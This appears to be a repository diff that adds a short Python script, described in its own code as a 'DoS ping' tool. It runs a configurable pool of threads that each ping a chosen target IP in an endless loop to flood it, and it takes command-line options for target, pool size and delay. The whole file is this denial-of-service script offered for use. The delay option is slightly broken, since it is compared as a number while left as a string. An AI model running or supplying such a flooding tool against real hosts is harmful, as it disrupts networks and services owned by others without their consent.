|
| 1 | +import subprocess |
| 2 | +import argparse |
| 3 | +from concurrent.futures import ThreadPoolExecutor |
| 4 | +from time import sleep |
| 5 | + |
| 6 | + |
| 7 | +parser = argparse.ArgumentParser(description="DoS ping") |
| 8 | +parser.add_argument('-P', '--poolsize', default=10, help='Size of the threadpool') |
| 9 | +parser.add_argument('-T', '--target', default='localhost', help='Target IP address to ping') |
| 10 | +parser.add_argument('-D', '--delay', default=0, help='Amount of time to wait between pings') |
| 11 | + |
| 12 | +args = parser.parse_args() |
| 13 | +threadpool_size = int(args.poolsize) |
| 14 | +target = args.target |
| 15 | +delay = args.delay |
| 16 | + |
| 17 | + |
| 18 | +terminate = False |
| 19 | + |
| 20 | + |
| 21 | +def ping_host(ip): |
| 22 | + |
| 23 | + global terminate |
| 24 | + |
| 25 | + while True and not terminate: |
| 26 | + |
| 27 | + try: |
| 28 | + subprocess.check_output(["ping", "-c3", "-n", "-i0.5", "-W2", ip]) |
| 29 | + print(f"---> Ping successful: {ip}") |
| 30 | + |
| 31 | + except subprocess.CalledProcessError: |
| 32 | + print(f" !!! Ping failed: {ip}") |
| 33 | + |
| 34 | + if delay > 0: |
| 35 | + for _ in range(0, delay): sleep(1) |
| 36 | + |
| 37 | + |
| 38 | +def main(): |
| 39 | + |
| 40 | + global terminate |
| 41 | + |
| 42 | + try: |
| 43 | + targets = [target for _ in range(0, threadpool_size)] |
| 44 | + with ThreadPoolExecutor(max_workers=threadpool_size) as executor: |
| 45 | + executor.map(ping_host, targets) |
| 46 | + |
| 47 | + except KeyboardInterrupt: |
| 48 | + print("... terminating application ...", end="") |
| 49 | + terminate = True |
| 50 | + print("terminated") |
| 51 | + |
| 52 | + |
| 53 | +if __name__ == "__main__": |
| 54 | + main() |
0 commit comments